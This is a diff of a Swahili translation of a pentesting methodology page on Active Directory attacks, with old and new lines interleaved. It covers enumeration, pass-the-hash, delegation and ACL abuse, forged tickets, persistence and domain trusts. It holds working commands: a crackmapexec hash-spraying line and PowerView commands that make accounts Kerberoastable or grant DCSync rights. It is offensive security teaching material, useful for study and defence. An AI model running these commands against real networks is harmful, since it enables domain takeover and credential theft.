- Unaweza pia kutafuta katika database ya LDAP kwa **ldapsearch** kutafuta nywila katika maeneo _userPassword_ & _unixUserPassword_, au hata kwa _Description_. cf. [Nywila katika maelezo ya mtumiaji wa AD kwenye PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) kwa mbinu nyingine.
- Unaweza pia kutafuta katika database ya LDAP kwa **ldapsearch** kutafuta nywila katika maeneo _userPassword_ & _unixUserPassword_, au hata kwa _Description_. cf. [Nywila katika AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) kwa mbinu nyingine.
- Ikiwa unatumia **Linux**, unaweza pia kuorodhesha kikoa kwa kutumia [**pywerview**](https://github.com/the-useless-one/pywerview).
- Unaweza pia kujaribu zana za kiotomatiki kama:
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
- **Kutoa majina yote ya watumiaji wa kikoa**
Ni rahisi sana kupata majina yote ya watumiaji wa kikoa kutoka Windows (`net user /domain` ,`Get-DomainUser` au `wmic useraccount get name,sid`). Katika Linux, unaweza kutumia: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` au `enum4linux -a -u "user" -p "password" <DC IP>`
Ni rahisi sana kupata majina yote ya watumiaji wa kikoa kutoka Windows (`net user /domain`, `Get-DomainUser` au `wmic useraccount get name,sid`). Katika Linux, unaweza kutumia: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` au `enum4linux -a -u "user" -p "password" <DC IP>`
> Hata kama sehemu hii ya Kuorodhesha inaonekana ndogo hii ndiyo sehemu muhimu zaidi ya yote. Fikia viungo (hasa ile ya cmd, powershell, powerview na BloodHound), jifunze jinsi ya kuorodhesha kikoa na fanya mazoezi hadi ujisikie vizuri. Wakati wa tathmini, hii itakuwa wakati muhimu wa kupata njia yako hadi DA au kuamua kwamba hakuna kinachoweza kufanywa.
@ -207,17 +210,17 @@ Ni **ngumu sana** kwamba utapata **tiketi** katika mtumiaji wa sasa **ukikupa ru
```
### NTLM Relay
Ikiwa umeweza kuhesabu active directory utakuwa na **barua pepe zaidi na ufahamu bora wa mtandao**. Unaweza kuwa na uwezo wa kulazimisha NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
Ikiwa umeweza kuorodhesha active directory utakuwa na **barua pepe zaidi na ufahamu bora wa mtandao**. Unaweza kuwa na uwezo wa kulazimisha NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
### **Angalia Creds katika Computer Shares**
### Angalia Creds katika Computer Shares | SMB Shares
Sasa kwamba una baadhi ya akidi za msingi unapaswa kuangalia kama unaweza **kupata** faili zozote **za kuvutia zinazoshirikiwa ndani ya AD**. Unaweza kufanya hivyo kwa mikono lakini ni kazi ya kuchosha na ya kurudiwa (na zaidi ikiwa unapata mamia ya hati unahitaji kuangalia).
Sasa kwamba una baadhi ya akidi za msingi unapaswa kuangalia kama unaweza **kupata** **faili za kuvutia zinazoshirikiwa ndani ya AD**. Unaweza kufanya hivyo kwa mikono lakini ni kazi ya kuchosha na ya kurudiwa (na zaidi ikiwa unapata mamia ya hati unahitaji kuangalia).
[**Fuata kiungo hiki kujifunza kuhusu zana unazoweza kutumia.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
### Kuiba NTLM Creds
### Nyakua NTLM Creds
Ikiwa unaweza **kufikia PCs nyingine au shares** unaweza **kweka faili** (kama faili la SCF) ambayo ikiwa kwa namna fulani itafikiwa it **itazindua uthibitishaji wa NTLM dhidi yako** ili uweze **kuiba** **changamoto ya NTLM** ili kuifungua:
Ikiwa unaweza **kufikia PCs nyingine au shares** unaweza **kweka faili** (kama faili la SCF) ambayo ikiwa kwa namna fulani itafikiwa it **sababisha uthibitisho wa NTLM dhidi yako** ili uweze **kuiba** **changamoto ya NTLM** ili kuifungua:
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
@ -225,15 +228,15 @@ Ikiwa unaweza **kufikia PCs nyingine au shares** unaweza **kweka faili** (kama f
### CVE-2021-1675/CVE-2021-34527 PrintNightmare
Ushahidi huu uliruhusu mtumiaji yeyote aliyeidhinishwa **kudhoofisha kidhibiti cha eneo**.
Uthibitisho huu uliruhusu mtumiaji yeyote aliyeidhinishwa **kudhoofisha kidhibiti cha kikoa**.
{{#ref}}
printnightmare.md
{{#endref}}
## Kuinua Privilege kwenye Active Directory KWA akidi/sessheni zenye mamlaka
## Kuinua Privilege kwenye Active Directory KWA akidi/kipindi chenye mamlaka
**Kwa mbinu zifuatazo mtumiaji wa kawaida wa eneo si wa kutosha, unahitaji baadhi ya mamlaka/akidi maalum ili kutekeleza mashambulizi haya.**
**Kwa mbinu zifuatazo mtumiaji wa kawaida wa kikoa haitoshi, unahitaji baadhi ya mamlaka/akidi maalum ili kutekeleza mashambulizi haya.**
### Utoaji wa Hash
@ -244,12 +247,12 @@ Kisha, ni wakati wa kutupa hash zote kwenye kumbukumbu na ndani.\
### Pass the Hash
**Mara tu unapo kuwa na hash ya mtumiaji**, unaweza kuitumia **kujifanya** kuwa yeye.\
Unahitaji kutumia **chombo** ambacho kitafanya **uthibitishaji wa NTLM kwa kutumia** hiyo **hash**, **au** unaweza kuunda **sessionlogon** mpya na **kuingiza** hiyo **hash** ndani ya **LSASS**, hivyo wakati wowote **uthibitishaji wa NTLM unafanywa**, hiyo **hash itatumika.** Chaguo la mwisho ndilo ambalo mimikatz hufanya.\
Unahitaji kutumia **chombo** ambacho kitafanya **uthibitisho wa NTLM kwa kutumia** hiyo **hash**, **au** unaweza kuunda **sessionlogon** mpya na **kuingiza** hiyo **hash** ndani ya **LSASS**, hivyo wakati wowote **uthibitisho wa NTLM unafanywa**, hiyo **hash itatumika.** Chaguo la mwisho ndilo ambalo mimikatz hufanya.\
[**Soma ukurasa huu kwa maelezo zaidi.**](../ntlm/index.html#pass-the-hash)
### Over Pass the Hash/Pass the Key
Shambulizi hili linakusudia **kutumia hash ya mtumiaji wa NTLM kuomba tiketi za Kerberos**, kama mbadala wa Pass The Hash juu ya itifaki ya NTLM. Hivyo, hii inaweza kuwa hasa **faida katika mitandao ambapo itifaki ya NTLM imezimwa** na tu **Kerberos inaruhusiwa** kama itifaki ya uthibitishaji.
Shambulizi hili linakusudia **kutumia hash ya mtumiaji wa NTLM kuomba tiketi za Kerberos**, kama mbadala wa Pass The Hash ya kawaida kupitia itifaki ya NTLM. Hivyo, hii inaweza kuwa **na manufaa hasa katika mitandao ambapo itifaki ya NTLM imezimwa** na tu **Kerberos inaruhusiwa** kama itifaki ya uthibitisho.
{{#ref}}
over-pass-the-hash-pass-the-key.md
@ -257,7 +260,7 @@ over-pass-the-hash-pass-the-key.md
### Pass the Ticket
Katika mbinu ya shambulizi ya **Pass The Ticket (PTT)**, washambuliaji **huiba tiketi ya uthibitishaji ya mtumiaji** badala ya nenosiri lao au thamani za hash. Tiketi hii iliyohibiwa inatumika kisha **kujifanya kuwa mtumiaji**, ikipata ufikiaji usioidhinishwa kwa rasilimali na huduma ndani ya mtandao.
Katika mbinu ya shambulizi ya **Pass The Ticket (PTT)**, washambuliaji **huiba tiketi ya uthibitisho ya mtumiaji** badala ya nenosiri lao au thamani za hash. Tiketi hii iliyohibiwa inatumika kisha **kujifanya mtumiaji**, ikipata ufikiaji usioidhinishwa kwa rasilimali na huduma ndani ya mtandao.
{{#ref}}
pass-the-ticket.md
@ -272,13 +275,13 @@ Ikiwa una **hash** au **nenosiri** la **msimamizi wa ndani** unapaswa kujaribu *
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
```
> [!WARNING]
> Kumbuka kwamba hii ni **kelele** na **LAPS** itapunguza.
> Kumbuka kwamba hii ni **kelele** na **LAPS** itapunguza hii.
### MSSQL Abuse & Trusted Links
Ikiwa mtumiaji ana mamlaka ya **kufikia mifumo ya MSSQL**, anaweza kuweza kuitumia **kutekeleza amri** kwenye mwenyeji wa MSSQL (ikiwa inafanya kazi kama SA), **kuiba** NetNTLM **hash** au hata kufanya **shambulio la relay**.\
Pia, ikiwa mfano wa MSSQL unakubaliwa (kiungo cha database) na mfano mwingine wa MSSQL. Ikiwa mtumiaji ana mamlaka juu ya database iliyoaminika, ataweza **kutumia uhusiano wa uaminifu kutekeleza maswali pia kwenye mfano mwingine**. Uaminifu huu unaweza kuunganishwa na wakati fulani mtumiaji anaweza kupata database iliyo na mipangilio isiyo sahihi ambapo anaweza kutekeleza amri.\
**Viungo kati ya databases vinafanya kazi hata katika uaminifu wa msitu.**
Ikiwa mtumiaji ana mamlaka ya **kufikia mifano ya MSSQL**, anaweza kuwa na uwezo wa kuitumia **kutekeleza amri** kwenye mwenyeji wa MSSQL (ikiwa inafanya kazi kama SA), **kuiba** NetNTLM **hash** au hata kufanya **shambulio la relay**.\
Pia, ikiwa mfano wa MSSQL unakubaliwa (kiungo cha database) na mfano mwingine wa MSSQL. Ikiwa mtumiaji ana mamlaka juu ya database iliyoaminika, atakuwa na uwezo wa **kutumia uhusiano wa uaminifu kutekeleza maswali pia kwenye mfano mwingine**. Uaminifu huu unaweza kuunganishwa na wakati fulani mtumiaji anaweza kuwa na uwezo wa kupata database iliyo na mipangilio isiyo sahihi ambapo anaweza kutekeleza amri.\
**Viungo kati ya databases vinatumika hata katika uaminifu wa msitu.**
{{#ref}}
abusing-ad-mssql.md
@ -288,7 +291,7 @@ abusing-ad-mssql.md
Ikiwa unapata kitu chochote cha Kompyuta chenye sifa [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) na una mamlaka ya kikoa kwenye kompyuta, utaweza kutoa TGTs kutoka kwenye kumbukumbu ya kila mtumiaji anayeingia kwenye kompyuta.\
Hivyo, ikiwa **Msimamizi wa Kikoa anaingia kwenye kompyuta**, utaweza kutoa TGT yake na kumwakilisha kwa kutumia [Pass the Ticket](pass-the-ticket.md).\
Shukrani kwa uwakilishi wa kizuizi unaweza hata **kuharibu Print Server** kiotomatiki (tunatumai itakuwa DC).
Shukrani kwa uwakilishi wa kizuizi unaweza hata **kuharibu Print Server** kiotomatiki (tunatarajia itakuwa DC).
{{#ref}}
unconstrained-delegation.md
@ -313,7 +316,7 @@ resource-based-constrained-delegation.md
### ACLs Abuse
Mtumiaji aliyeathirika anaweza kuwa na **mamlaka za kuvutia juu ya baadhi ya vitu vya kikoa** ambavyo vinaweza kukuruhusu **kuhamasisha** kwa upande/**kuinua** mamlaka.
Mtumiaji aliyeathiriwa anaweza kuwa na **mamlaka ya kuvutia juu ya baadhi ya vitu vya kikoa** ambavyo vinaweza kukuruhusu **kuhamasisha** kwa upande/**kuinua** mamlaka.
{{#ref}}
acl-persistence-abuse/
@ -329,7 +332,7 @@ printers-spooler-service-abuse.md
### Third party sessions abuse
Ikiwa **watumiaji wengine** **wanapata** mashine **iliyoathirika**, inawezekana **kukusanya akidi kutoka kwenye kumbukumbu** na hata **kuingiza beacons kwenye michakato yao** ili kuwawakilisha.\
Ikiwa **watumiaji wengine** **wanapata** mashine **iliyoathiriwa**, inawezekana **kukusanya akidi kutoka kwenye kumbukumbu** na hata **kuingiza beacons katika michakato yao** ili kuwawakilisha.\
Kawaida watumiaji wataingia kwenye mfumo kupitia RDP, hivyo hapa kuna jinsi ya kufanya mashambulizi kadhaa juu ya vikao vya RDP vya wahusika wengine:
{{#ref}}
@ -346,7 +349,7 @@ laps.md
### Certificate Theft
**Kukusanya vyeti** kutoka kwenye mashine iliyeathirika kunaweza kuwa njia ya kuinua mamlaka ndani ya mazingira:
**Kukusanya vyeti** kutoka kwenye mashine iliyeathiriwa kunaweza kuwa njia ya kuinua mamlaka ndani ya mazingira:
{{#ref}}
ad-certificates/certificate-theft.md
@ -354,7 +357,7 @@ ad-certificates/certificate-theft.md
### Certificate Templates Abuse
Ikiwa **mipangilio ya vyeti** iliyo hatarini imewekwa, inawezekana kuvitumia kuimarisha mamlaka:
Ikiwa **mifano ya hatari** imewekwa inawezekana kuzikandamiza ili kuinua mamlaka:
{{#ref}}
ad-certificates/domain-escalation.md
@ -377,25 +380,25 @@ Kwa mfano unaweza:
- Kufanya watumiaji kuwa hatarini kwa [**Kerberoast**](kerberoast.md)
```powershell
```bash
Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r
```
- Kufanya watumiaji kuwa hatarini kwa [**ASREPRoast**](asreproast.md)
```powershell
```bash
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
```
- Kutoa [**DCSync**](#dcsync) mamlaka kwa mtumiaji
```powershell
```bash
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
```
### Silver Ticket
**Shambulio la Silver Ticket** linaunda **tiketi halali ya Huduma ya Kutoa Tiketi (TGS)** kwa huduma maalum kwa kutumia **NTLM hash** (kwa mfano, **hash ya akaunti ya PC**). Mbinu hii inatumika ili **kufikia mamlaka ya huduma**.
**Shambulio la Silver Ticket** linaunda **tiketi halali ya Huduma ya Kutoa Tiketi (TGS)** kwa huduma maalum kwa kutumia **hash ya NTLM** (kwa mfano, **hash ya akaunti ya PC**). Njia hii inatumika ili **kufikia mamlaka ya huduma**.
{{#ref}}
silver-ticket.md
@ -403,7 +406,7 @@ silver-ticket.md
### Golden Ticket
**Shambulio la Golden Ticket** linahusisha mshambuliaji kupata ufikiaji wa **NTLM hash ya akaunti ya krbtgt** katika mazingira ya Active Directory (AD). Akaunti hii ni ya kipekee kwa sababu inatumika kusaini **Tiketi za Kutoa Tiketi (TGTs)**, ambazo ni muhimu kwa uthibitishaji ndani ya mtandao wa AD.
**Shambulio la Golden Ticket** linahusisha mshambuliaji kupata ufikiaji wa **hash ya NTLM ya akaunti ya krbtgt** katika mazingira ya Active Directory (AD). Akaunti hii ni ya kipekee kwa sababu inatumika kusaini **Tiketi za Kutoa Tiketi (TGTs)**, ambazo ni muhimu kwa uthibitishaji ndani ya mtandao wa AD.
Mara mshambuliaji anapopata hash hii, wanaweza kuunda **TGTs** kwa akaunti yoyote wanayochagua (shambulio la tiketi ya fedha).
@ -413,7 +416,7 @@ golden-ticket.md
### Diamond Ticket
Hizi ni kama tiketi za dhahabu zilizoforgiwa kwa njia ambayo **inasababisha kupita mifumo ya kawaida ya kugundua tiketi za dhahabu.**
Hizi ni kama tiketi za dhahabu zilizoforged kwa njia ambayo **inasababisha kupita mifumo ya kawaida ya kugundua tiketi za dhahabu.**
{{#ref}}
diamond-ticket.md
@ -421,7 +424,7 @@ diamond-ticket.md
### **Certificates Account Persistence**
**Kuwa na vyeti vya akaunti au kuwa na uwezo wa kuviomba** ni njia nzuri ya kuweza kudumu kwenye akaunti za watumiaji (hata kama anabadilisha nenosiri):
**Kuwa na vyeti vya akaunti au kuwa na uwezo wa kuviomba** ni njia nzuri sana ya kuwa na uwezo wa kudumu katika akaunti za watumiaji (hata kama anabadilisha nenosiri):
{{#ref}}
ad-certificates/account-persistence.md
@ -437,7 +440,7 @@ ad-certificates/domain-persistence.md
### AdminSDHolder Group
Kitu cha **AdminSDHolder** katika Active Directory kinahakikisha usalama wa **makundi yenye mamlaka** (kama Wasimamizi wa Kikoa na Wasimamizi wa Biashara) kwa kutumia **Orodha ya Udhibiti wa Ufikiaji (ACL)** ya kawaida kati ya makundi haya ili kuzuia mabadiliko yasiyoidhinishwa. Hata hivyo, kipengele hiki kinaweza kutumika vibaya; ikiwa mshambuliaji atabadilisha ACL ya AdminSDHolder ili kutoa ufikiaji kamili kwa mtumiaji wa kawaida, mtumiaji huyo anapata udhibiti mkubwa juu ya makundi yote yenye mamlaka. Kipimo hiki cha usalama, kilichokusudiwa kulinda, kinaweza hivyo kurudi nyuma, kuruhusu ufikiaji usio halali isipokuwa kifuatachokifuatiliwe kwa karibu.
Kitu cha **AdminSDHolder** katika Active Directory kinahakikisha usalama wa **makundi yenye mamlaka** (kama Wasimamizi wa Kikoa na Wasimamizi wa Biashara) kwa kutumia **Orodha ya Udhibiti wa Ufikiaji (ACL)** ya kawaida kati ya makundi haya ili kuzuia mabadiliko yasiyoidhinishwa. Hata hivyo, kipengele hiki kinaweza kutumika vibaya; ikiwa mshambuliaji atabadilisha ACL ya AdminSDHolder ili kutoa ufikiaji kamili kwa mtumiaji wa kawaida, mtumiaji huyo anapata udhibiti mkubwa juu ya makundi yote yenye mamlaka. Kipimo hiki cha usalama, kilichokusudiwa kulinda, kinaweza hivyo kurudi nyuma, kuruhusu ufikiaji usio na haki isipokuwa ufuatiliwe kwa karibu.
[**Taarifa zaidi kuhusu Kundi la AdminDSHolder hapa.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
@ -459,7 +462,7 @@ acl-persistence-abuse/
### Security Descriptors
**Maelezo ya usalama** yanatumika kuhifadhi **mamlaka** ambayo **kitu** kina **juu ya** **kitu**. Ikiwa unaweza tu **kufanya** **mabadiliko madogo** katika **maelezo ya usalama** ya kitu, unaweza kupata mamlaka ya kuvutia juu ya hicho kitu bila kuhitaji kuwa mwanachama wa kundi lenye mamlaka.
**Maelezo ya usalama** yanatumika kuhifadhi **mamlaka** ambayo **kitu** kina **juu ya** **kitu**. Ikiwa unaweza tu **kufanya** **mabadiliko madogo** katika **maelezo ya usalama** ya kitu, unaweza kupata mamlaka ya kuvutia sana juu ya kitu hicho bila kuhitaji kuwa mwanachama wa kundi lenye mamlaka.
{{#ref}}
security-descriptors.md
@ -467,7 +470,7 @@ security-descriptors.md
### Skeleton Key
Badilisha **LSASS** kwenye kumbukumbu ili kuanzisha **neno la siri la ulimwengu**, linaloruhusu ufikiaji wa akaunti zote za kikoa.
Badilisha **LSASS** katika kumbukumbu ili kuanzisha **neno la siri la ulimwengu**, linalotoa ufikiaji kwa akaunti zote za kikoa.
{{#ref}}
skeleton-key.md
@ -484,7 +487,7 @@ custom-ssp.md
### DCShadow
Inasajili **Msimamizi mpya wa Kikoa** katika AD na kuitumia **kushinikiza sifa** (SIDHistory, SPNs...) kwenye vitu vilivyotajwa **bila** kuacha **kumbukumbu** kuhusu **mabadiliko**. Unahitaji mamlaka ya DA na uwe ndani ya **kikoa cha mzizi**.\
Inasajili **Msimamizi mpya wa Kikoa** katika AD na inaitumia **kushinikiza sifa** (SIDHistory, SPNs...) kwenye vitu vilivyotajwa **bila** kuacha **kumbukumbu** kuhusu **mabadiliko**. Unahitaji mamlaka ya DA na uwe ndani ya **kikoa cha mzizi**.\
Kumbuka kwamba ikiwa utatumia data mbaya, kumbukumbu mbaya sana zitaonekana.
{{#ref}}
@ -493,7 +496,7 @@ dcshadow.md
### LAPS Persistence
Kabla tulizungumzia jinsi ya kuinua mamlaka ikiwa una **ruhusa ya kutosha kusoma maneno ya siri ya LAPS**. Hata hivyo, maneno haya ya siri yanaweza pia kutumika **kuhifadhi kudumu**.\
Kabla tumekuwa tukizungumza kuhusu jinsi ya kuinua mamlaka ikiwa una **ruhusa ya kutosha kusoma maneno ya siri ya LAPS**. Hata hivyo, maneno haya ya siri yanaweza pia kutumika **kuhifadhi kudumu**.\
Angalia:
{{#ref}}
@ -502,43 +505,43 @@ laps.md
## Forest Privilege Escalation - Domain Trusts
Microsoft inaona **Msitu** kama mpaka wa usalama. Hii inamaanisha kwamba **kuharibu kikoa kimoja kunaweza kusababisha msitu mzima kuharibiwa**.
Microsoft inaona **Msitu** kama mpaka wa usalama. Hii inamaanisha kwamba **kuharibu kikoa kimoja kunaweza kusababisha msitu mzima kuathiriwa**.
### Basic Information
[**uaminifu wa kikoa**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) ni mekanizma ya usalama inayowezesha mtumiaji kutoka kwenye **kikoa** moja kufikia rasilimali katika **kikoa** kingine. Kimsingi inaunda uhusiano kati ya mifumo ya uthibitishaji ya kikoa viwili, ikiruhusu uthibitishaji wa verifications kuhamasika bila shida. Wakati makundi yanaanzisha uaminifu, wanabadilishana na kuhifadhi funguo maalum ndani ya **Msimamizi wa Kikoa (DCs)** zao, ambazo ni muhimu kwa uaminifu wa uaminifu.
[**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) ni mekanizma ya usalama inayowezesha mtumiaji kutoka kwenye **kikoa** moja kufikia rasilimali katika **kikoa** kingine. Kimsingi inaunda uhusiano kati ya mifumo ya uthibitishaji ya kikoa viwili, ikiruhusu uthibitishaji wa verifications kuhamasika bila shida. Wakati makundi yanaanzisha uaminifu, wanabadilishana na kuhifadhi funguo maalum ndani ya **Msimamizi wao wa Kikoa (DCs)**, ambazo ni muhimu kwa uaminifu wa uhusiano.
Katika hali ya kawaida, ikiwa mtumiaji anataka kufikia huduma katika **kikoa kilichokubaliwa**, lazima kwanza aombe tiketi maalum inayojulikana kama **inter-realm TGT** kutoka kwa DC ya kikoa chake mwenyewe. Hii TGT imefungwa kwa funguo ya pamoja ambayo makundi yote mawili yamekubaliana. Mtumiaji kisha anawasilisha TGT hii kwa **DC ya kikoa kilichokubaliwa** ili kupata tiketi ya huduma (**TGS**). Baada ya uthibitishaji wa mafanikio wa inter-realm TGT na DC ya kikoa kilichokubaliwa, inatoa TGS, ikimpa mtumiaji ufikiaji wa huduma.
Katika hali ya kawaida, ikiwa mtumiaji anataka kufikia huduma katika **kikoa kilichoaminika**, lazima kwanza aombe tiketi maalum inayojulikana kama **inter-realm TGT** kutoka kwa DC ya kikoa chake mwenyewe. Hii TGT imefungwa kwa **funguo** iliyoshirikiwa ambayo makundi yote mawili yamekubaliana. Mtumiaji kisha anawasilisha hii TGT kwa **DC ya kikoa kilichoaminika** ili kupata tiketi ya huduma (**TGS**). Baada ya uthibitishaji wa mafanikio wa inter-realm TGT na DC ya kikoa kilichoaminika, inatoa TGS, ikimpa mtumiaji ufikiaji wa huduma.
**Hatua**:
1. **kompyuta ya mteja** katika **Kikoa 1** inaanza mchakato kwa kutumia **NTLM hash** yake kuomba **Tiketi ya Kutoa Tiketi (TGT)** kutoka kwa **Msimamizi wa Kikoa (DC1)**.
2. DC1 inatoa TGT mpya ikiwa mteja ameidhinishwa kwa mafanikio.
1. **Kompyuta ya mteja** katika **Kikoa 1** inaanza mchakato kwa kutumia **hash ya NTLM** kuomba **Tiketi ya Kutoa Tiketi (TGT)** kutoka kwa **Msimamizi wake wa Kikoa (DC1)**.
2. DC1 inatoa TGT mpya ikiwa mteja amethibitishwa kwa mafanikio.
3. Mteja kisha anaomba **inter-realm TGT** kutoka DC1, ambayo inahitajika kufikia rasilimali katika **Kikoa 2**.
4. Inter-realm TGT imefungwa kwa **funguo ya uaminifu** iliyoshirikiwa kati ya DC1 na DC2 kama sehemu ya uaminifu wa kikoa wa pande mbili.
5. Mteja anachukua inter-realm TGT kwa **Msimamizi wa Kikoa 2 (DC2)**.
6. DC2 inathibitisha inter-realm TGT kwa kutumia funguo yake ya uaminifu iliyoshirikiwa na, ikiwa ni halali, inatoa **Huduma ya Kutoa Tiketi (TGS)** kwa seva katika Kikoa 2 ambayo mteja anataka kufikia.
7. Hatimaye, mteja anawasilisha TGS hii kwa seva, ambayo imefungwa kwa hash ya akaunti ya seva, ili kupata ufikiaji wa huduma katika Kikoa 2.
7. Hatimaye, mteja anawasilisha hii TGS kwa seva, ambayo imefungwa kwa hash ya akaunti ya seva, ili kupata ufikiaji wa huduma katika Kikoa 2.
### Different trusts
Ni muhimu kutambua kwamba **uaminifu unaweza kuwa wa njia 1 au njia 2**. Katika chaguo la njia 2, makundi yote mawili yatakuwa na uaminifu kwa kila mmoja, lakini katika uhusiano wa **njia 1** moja ya makundi itakuwa **ya kuaminika** na nyingine **ya kuamini**. Katika kesi ya mwisho, **utaweza tu kufikia rasilimali ndani ya kikoa kinachouamini kutoka kwenye kikoa kilichokubaliwa**.
Ni muhimu kutambua kwamba **uaminifu unaweza kuwa wa njia 1 au njia 2**. Katika chaguo la njia 2, makundi yote mawili yatakuwa na uaminifu kwa kila mmoja, lakini katika uhusiano wa **njia 1** moja ya makundi itakuwa **ya kuaminika** na nyingine **ya kuamini**. Katika kesi ya mwisho, **utaweza tu kufikia rasilimali ndani ya kikoa kinachoamini kutoka kwenye kikoa kilichoaminika**.
Ikiwa Kikoa A kinauamini Kikoa B, A ni kikoa kinachouamini na B ni kikoa kinachouaminiwa. Aidha, katika **Kikoa A**, hii itakuwa **Uaminifu wa Nje**; na katika **Kikoa B**, hii itakuwa **Uaminifu wa Ndani**.
Ikiwa Kikoa A kinakuamini Kikoa B, A ni kikoa kinachoamini na B ni kikoa kilichoaminika. Zaidi ya hayo, katika **Kikoa A**, hii itakuwa **Uaminifu wa Nje**; na katika **Kikoa B**, hii itakuwa **Uaminifu wa Ndani**.
**Uhusiano tofauti wa uaminifu**
- **Uaminifu wa Mzazi-Mwana**: Hii ni mipangilio ya kawaida ndani ya msitu mmoja, ambapo kikoa cha mtoto kwa otomatiki kina uaminifu wa pande mbili na kikoa chake cha mzazi. Kimsingi, hii inamaanisha kwamba maombi ya uthibitishaji yanaweza kuhamasika bila shida kati ya mzazi na mtoto.
- **Uaminifu wa Cross-link**: Inajulikana kama "uaminifu wa mkato," hizi zimeanzishwa kati ya makundi ya watoto ili kuharakisha michakato ya rufaa. Katika misitu ngumu, rufaa za uthibitishaji kwa kawaida zinahitaji kusafiri hadi mzizi wa msitu na kisha kushuka hadi kikoa lengwa. Kwa kuunda viungo vya msalaba, safari inafupishwa, ambayo ni faida hasa katika mazingira yaliyosambazwa kijiografia.
- **Uaminifu wa Nje**: Hizi zimeanzishwa kati ya makundi tofauti, yasiyo na uhusiano na ni zisizo za kupitisha kwa asili. Kulingana na [nyaraka za Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), uaminifu wa nje ni muhimu kwa kufikia rasilimali katika kikoa kilichoko nje ya msitu wa sasa ambacho hakijashikamana na uaminifu wa msitu. Usalama unaboreshwa kupitia kuchuja SID na uaminifu wa nje.
- **Uaminifu wa Mti-Mzizi**: Uaminifu huu huanzishwa kiotomatiki kati ya kikoa cha mzizi wa msitu na mti mpya ulioongezwa. Ingawa si kawaida kukutana, uaminifu wa mti-mzizi ni muhimu kwa kuongeza miti mipya ya kikoa kwenye msitu, ikiruhusu kudumisha jina la kipekee la kikoa na kuhakikisha kupitisha kwa pande mbili. Taarifa zaidi zinaweza kupatikana katika [mwongozo wa Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Uaminifu wa Msitu**: Aina hii ya uaminifu ni uaminifu wa pande mbili wa kupitisha kati ya makundi mawili ya mzizi wa msitu, pia ikilazimisha kuchuja SID ili kuimarisha hatua za usalama.
- **Uaminifu wa MIT**: Hizi zimeanzishwa na makundi ya Kerberos yasiyo ya Windows, [RFC4120-inayokubalika](https://tools.ietf.org/html/rfc4120). Uaminifu wa MIT ni maalum zaidi na unalenga mazingira yanayohitaji ushirikiano na mifumo ya Kerberos nje ya mfumo wa Windows.
- **Uaminifu wa Mzazi-Mwana**: Hii ni mipangilio ya kawaida ndani ya msitu mmoja, ambapo kikoa cha mtoto kwa otomatiki kina uaminifu wa njia mbili na kikoa chake cha mzazi. Kimsingi, hii inamaanisha kwamba maombi ya uthibitishaji yanaweza kuhamasika bila shida kati ya mzazi na mtoto.
- **Uaminifu wa Msalaba**: Inajulikana kama "uaminifu wa mkato," hizi zimeanzishwa kati ya makundi ya watoto ili kuharakisha michakato ya rufaa. Katika misitu ngumu, rufaa za uthibitishaji kawaida zinahitaji kusafiri hadi mzizi wa msitu na kisha kushuka hadi kikoa lengwa. Kwa kuunda uaminifu wa msalaba, safari inafupishwa, ambayo ni faida hasa katika mazingira yaliyosambazwa kijiografia.
- **Uaminifu wa Nje**: Hizi zimeanzishwa kati ya makundi tofauti, yasiyo na uhusiano na ni zisizo za njia. Kulingana na [nyaraka za Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), uaminifu wa nje ni muhimu kwa kufikia rasilimali katika kikoa kilicho nje ya msitu wa sasa ambacho hakijashikamana na uaminifu wa msitu. Usalama unaboreshwa kupitia kuchuja SID na uaminifu wa nje.
- **Uaminifu wa Mti-Mzizi**: Uaminifu huu huanzishwa kwa otomatiki kati ya kikoa cha mzizi wa msitu na mti mpya ulioongezwa. Ingawa si kawaida kukutana, uaminifu wa mti-mzizi ni muhimu kwa kuongeza miti mipya ya kikoa kwenye msitu, ikiruhusu kudumisha jina la kipekee la kikoa na kuhakikisha uhamasishaji wa njia mbili. Taarifa zaidi zinaweza kupatikana katika [mwongozo wa Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Uaminifu wa Msitu**: Aina hii ya uaminifu ni uaminifu wa njia mbili kati ya makundi mawili ya mzizi wa msitu, pia ikilazimisha kuchuja SID ili kuimarisha hatua za usalama.
- **Uaminifu wa MIT**: Uaminifu huu umeanzishwa na makundi ya Kerberos yasiyo ya Windows, [RFC4120-inayokubalika](https://tools.ietf.org/html/rfc4120). Uaminifu wa MIT ni maalum zaidi na unalenga mazingira yanayohitaji ushirikiano na mifumo ya Kerberos nje ya mfumo wa Windows.
#### Tofauti nyingine katika **uhusiano wa uaminifu**
